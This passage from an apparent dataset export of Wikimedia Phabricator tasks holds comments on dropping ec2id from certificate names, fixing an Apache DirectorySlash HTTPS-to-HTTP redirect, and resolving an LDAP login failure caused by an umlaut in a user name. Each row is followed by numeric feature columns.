$wgOpenStackManagerPuppetOptions = array(
    'enabled' => true,
    'defaultclasses' => array( 'base', 'role::labs::instance' ),
    'defaultvariables' => array( 'realm' => 'labs', 'use_dnsmasq' => 'true' ),
);
```",,,1429622569,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,0.9523809523809523,"+SCREEN_NAME

NodePool has support to store key/values in OpenStack metadata service from URL
``CODE`CODEURL"
95480,Abolish use of ec2id in cert names,Instances that use the new naming scheme <instance>.<project>.eqiad.wmflabs should no longer need the ec2id.  Stamp out its use for any case where use_dnsmasq is false.,Medium,50.0,1428528414,1434638300.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-wlfbgumumyghen7n33xh,task_description,resolved,True,c3,1,True,True,True,-13,True,3.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,4.9655172413793105,0.896551724137931,Instances that use the new naming scheme <instance>.<project>.eqiad.wmflabs should no longer need the ec2id.  Stamp out its use for any case where use_dnsmasq is false.
470911,Abolish use of ec2id in cert names,https://gerrit.wikimedia.org/r/#/c/202924/,,,1433785404,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-wlfbgumumyghen7n33xh,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
448921,Abolish use of ec2id in cert names,Note also that nova notifications don't include ec2id.  So in order to support instance creation/deletion via hook we should really move away from ec2ids in ldap.,,,1429905320,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-wlfbgumumyghen7n33xh,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,16.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,19.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.9375,Note also that nova notifications don't include ec2id.  So in order to support instance creation/deletion via hook we should really move away from ec2ids in ldap.
95164,Apache slash expansion should not redirect from HTTPS to HTTP,"Accessing a url https://integration.wikimedia.org/cover/cdb

Result in

```
https://integration.wikimedia.org/cover/cdb
Remote port: 443
 301 Moved Permanently
 Location: http://integration.wikimedia.org/cover/cdb/

http://integration.wikimedia.org/cover/cdb/
Remote port: 80
 301 Moved Permanently
 Location: https://integration.wikimedia.org/cover/cdb/

https://integration.wikimedia.org/cover/cdb/
Remote port: 443
 200 OK
```",Medium,50.0,1428323195,1482439190.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-uutewjzyca7lhkrutzzg,task_description,resolved,True,c3,1,True,False,False,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,2.769230769230769,0.6923076923076923,"Accessing a url URL

Result in

``CODE``"
1631651,Apache slash expansion should not redirect from HTTPS to HTTP,`DirectorySlash` redirecting to http instead of canonical https is #upstream Apache bug [[ https://bz.apache.org/bugzilla/show_bug.cgi?id=61355 | 61355 - DirectorySlash directive should use protocol in X-Forwarded-Proto header when available ]]. We fixed it by adding the protocol scheme in the ServerName: `ServerName https://doc.wikimedia.org`.,,,1607723120,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,True,,,284,True,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,20.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,10.0,8.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,4.24,0.82,CODE redirecting to http instead of canonical https is #upstream Apache bug [[ URL | 61355 - DirectorySlash directive should use protocol in X-Forwarded-Proto header when available ]]. We fixed it by adding the protocol scheme in the ServerName: CODE.
1209232,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 483775 **merged** by Dzahn:
[operations/puppet@production] doc: fix Apache redirects to use https

[[https://gerrit.wikimedia.org/r/483775]]",,,1547508955,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,False,,,184,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.6333333333333333,0.7333333333333333,"Change 483775 **merged** by Dzahn:
[operations/puppet@production] doc: fix Apache redirects to use https

[[GERRIT_URL]]"
1207840,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 483775 had a related patch set uploaded (by Hashar; owner: Hashar):
[operations/puppet@production] doc: fix redirect of dir lacking a trailing slash

[[https://gerrit.wikimedia.org/r/483775]]",,,1547219104,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,False,,,184,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,3.973684210526316,0.8157894736842105,"Change 483775 had a related patch set uploaded (by Hashar; owner: Hashar):
[operations/puppet@production] doc: fix redirect of dir lacking a trailing slash

[[GERRIT_URL]]"
783014,Apache slash expansion should not redirect from HTTPS to HTTP,"Nowadays:

curl https://integration.wikimedia.org/cover/cdb
<p>The document has moved <a href=""https://doc.wikimedia.org/cover/cdb"">here</a>.</p>

curl http://integration.wikimedia.org/cover/cdb/
...  (nothing?)  but in browser i get  https://doc.wikimedia.org/cover/cdb/

curl https://integration.wikimedia.org/cover/cdb/
<p>The document has moved <a href=""https://doc.wikimedia.org/cover/cdb/"">here</a>.</p>

So it redirects to doc.wm.org and there is no more  HTTPS to HTTP here
",,,1482439179,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,True,,,77,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,11.0,2.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,9.0,3.076923076923077,0.6,"Nowadays:

curl URL
<p>The document has moved <a href=""URL

curl URL
...  (nothing?)  but in browser i get  URL

curl URL
<p>The document has moved <a href=""URL

So it redirects to doc.wm.org and there is no more  HTTPS to HTTP here
"
762257,Apache slash expansion should not redirect from HTTPS to HTTP,,,,1479340986,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,True,,,72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
762256,Apache slash expansion should not redirect from HTTPS to HTTP,,,,1479340974,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,True,,,72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
454927,Apache slash expansion should not redirect from HTTPS to HTTP,TLDR:   i fixed it on doc.wikimedia.org but it should still be fixed on integration.wikimedia.org,,,1430944389,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,12.0,12.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,0.8125,TLDR:   i fixed it on doc.wikimedia.org but it should still be fixed on integration.wikimedia.org
453719,Apache slash expansion should not redirect from HTTPS to HTTP,"reverted on integration:

same config that works on doc.wm , but here:

after:
<h1>Forbidden</h1>
<p>You don't have permission to access /cover/cdb

back to:

curl -vv https://integration.wikimedia.org/cover
<p>The document has moved <a href=""http://integration.wikimedia.org/cover/"">here</a>.</p>

Is this due to .htaccess files that don't come from puppet competing with the global Apache config?",,,1430783588,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,4.0,1.0,8.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,10.0,10.0,1.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,12.0,3.5194805194805197,0.7012987012987013,"reverted on integration:

same config that works on doc.wm , but here:

after:
<h1>Forbidden</h1>
<p>You don't have permission to access /cover/cdb

back to:

curl -vv URL
<p>The document has moved <a href=""URL

Is this due to .htaccess files that don't come from puppet competing with the global Apache config?"
453713,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 206460 merged by Dzahn:
integration: Apache turn DirectorySlash Off

[[https://gerrit.wikimedia.org/r/206460]]",,,1430782505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.315789473684211,0.8421052631578947,"Change 206460 merged by Dzahn:
integration: Apache turn DirectorySlash Off

[[GERRIT_URL]]"
453650,Apache slash expansion should not redirect from HTTPS to HTTP,"fixed on doc.wm:

before: curl -vv https://doc.wikimedia.org/mediawiki-core
The document has moved <a href=""http://doc.wikimedia.org/mediawiki-core/"">here</a>

after: curl -vv https://doc.wikimedia.org/mediawiki-core
< HTTP/1.1 200 OK
",,,1430776968,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,3.2666666666666666,0.7,"fixed on doc.wm:

before: curl -vv URL
The document has moved <a href=""URL

after: curl -vv URL
< HTTP/1.1 200 OK
"
453649,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 206832 merged by Dzahn:
doc.wikimedia.org: fix DirectorySlash https->http

[[https://gerrit.wikimedia.org/r/206832]]",,,1430776732,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.944444444444445,0.8333333333333334,"Change 206832 merged by Dzahn:
doc.wikimedia.org: fix DirectorySlash https->http

[[GERRIT_URL]]"
449688,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 206832 had a related patch set uploaded (by Dzahn):
doc.wikimedia.org: fix DirectorySlash https->http

[[https://gerrit.wikimedia.org/r/206832]]
",,,1430153811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.52,0.88,"Change 206832 had a related patch set uploaded (by Dzahn):
doc.wikimedia.org: fix DirectorySlash https->http

[[GERRIT_URL]]
"
448982,Apache slash expansion should not redirect from HTTPS to HTTP,"so either we just turn of DirectorySlash or if we care to keep it, we additionally add ""manual"" rewrite rules to replace that feature but with the right protocol.   (RewriteCond %{REQUEST_FILENAME} -d     .. RewriteRule ^(.+[^/])$          https://www.example.com/$1/  [R=301,L,QSA] )",,,1429910898,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,2.0,6.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,7.0,9.0,7.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.12962962962963,0.9074074074074074,"so either we just turn of DirectorySlash or if we care to keep it, we additionally add ""manual"" rewrite rules to replace that feature but with the right protocol.   (RewriteCond %{REQUEST_FILENAME} -d     .. RewriteRule ^(.+[^/])$          URL  [R=301,L,QSA] )"
448969,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 206460 had a related patch set uploaded (by Dzahn):
integration: Apache turn DirectorySlash Off

[[https://gerrit.wikimedia.org/r/206460]]
",,,1429909885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 206460 had a related patch set uploaded (by Dzahn):
integration: Apache turn DirectorySlash Off

[[GERRIT_URL]]
"
94729,failed icinga/graphite login for Moritz,"Moritz has just been onboarded. His labs/LDAP user is ""jmm""

```
dn: uid=jmm,ou=people,dc=wikimedia,dc=org
	uid: jmm
	cn: Moritz Mühlenhoff
```

the Apache config for Icinga says:

```
 44         AuthLDAPBindDN cn=proxyagent,ou=profile,dc=wikimedia,dc=org
 46         AuthLDAPURL ""ldaps://ldap-eqiad.wikimedia.org ldap-codfw.wikimedia.org/ou=people,dc=wikimedia,dc=org?cn""
 47         Require ldap-group cn=ops,ou=groups,dc=wikimedia,dc=org
 48         Require ldap-group cn=wmf,ou=groups,dc=wikimedia,dc=org
 49         Require ldap-group cn=nda,ou=groups,dc=wikimedia,dc=org
```

He is member in ops and wmf:

```
[terbium:~] $ ldaplist -l group ops | grep jmm
	member: uid=jmm,ou=people,dc=wikimedia,dc=org
[terbium:~] $ ldaplist -l group wmf | grep jmm
	member: uid=jmm,ou=people,dc=wikimedia,dc=org
```

but he reports he still can't login. He also can't login on graphite which should use the same auth method.

Why? Is the German umlaut in his name a problem?",Medium,50.0,1427914510,1428509359.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-q2tfqsovehwduwxlaitq,task_description,resolved,True,c3,1,True,True,True,-14,True,0.0,0.0,0.0,2.0,3.0,3.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,5.0,5.0,14.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,3.0,3.0,3.0,3.0,0.0,8.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5762711864406778,0.7627118644067796,"Moritz has just been onboarded. His labs/LDAP user is ""jmm""

``CODE`CODE`CODE`CODE`CODE``

but he reports he still can't login. He also can't login on graphite which should use the same auth method.

Why? Is the German umlaut in his name a problem?"
440369,failed icinga/graphite login for Moritz,"graphite: Yes, only the HTTP auth part is relevant. Just recently i was wondering the same thing. -> T93158  . so that's done 

icinga: this does have 2 parts, the HTTP auth and then having permissions to do stuff like schedule a downtime, running commands in general.  that is the edit in Icinga's cgi.cfg and since the renaming of your user this change should have fixed that:

https://gerrit.wikimedia.org/r/#/c/202752/

so i will call it resolved, you might want to confirm you can send actual commands in icinga like an ACKnowledgement for something, but it should work and we can always reopen.",,,1428509249,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,True,,,-13,True,0.0,1.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,2.0,0.0,3.5,9.0,1.0,1.5,1.5,1.5,0.0,0.5,0.0,0.0,0.0,2.5,1.0,0.0,2.5,0.0,1.5,1.0,2.5,0.0,0.0,1.0,2.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,11.0,2.5,1.0,0.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,4.5,2.0,5.0,2.5,3.0,7.0,0.0,0.0,0.0,0.0,7.5,0.5,0.5,0.0,6.5,9.0,2.5,0.0,0.0,0.0,6.5,0.0,0.0,1.5,0.0,1.5,1.0,0.0,0.5,3.8666666666666667,0.825,"graphite: Yes, only the HTTP auth part is relevant. Just recently i was wondering the same thing. -> T93158  . so that's done 

icinga: this does have 2 parts, the HTTP auth and then having permissions to do stuff like schedule a downtime, running commands in general.  that is the edit in Icinga's cgi.cfg and since the renaming of your user this change should have fixed that:

URL

so i will call it resolved, you might want to confirm you can send actual commands in icinga like an ACKnowledgement for something, but it should work and we can always reopen."
440152,failed icinga/graphite login for Moritz,"My login to Icinga is working fine, this was caused by the umlaut in my original user name (https://phabricator.wikimedia.org/T94717#1186082)

When I log into graphite.wikimedia.org I'm can successfully authenticate at HTTP auth. 

